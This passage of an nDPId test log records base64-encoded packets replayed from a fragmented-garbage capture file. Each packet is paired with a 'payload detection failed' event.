failed","thread_id":0,"packet_id":837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308368,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308380,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308398,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308410,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308423,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308435,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308447,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308459,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308471,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308483,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308494,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308507,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308521,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308534,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308546,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308559,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308571,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308583,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308594,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308609,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308626,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308638,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308650,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308662,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308673,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308685,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308697,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308709,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308721,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308733,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308748,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308760,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308772,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308783,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308795,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308850,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308866,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308878,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308889,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308901,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308913,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":308924,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 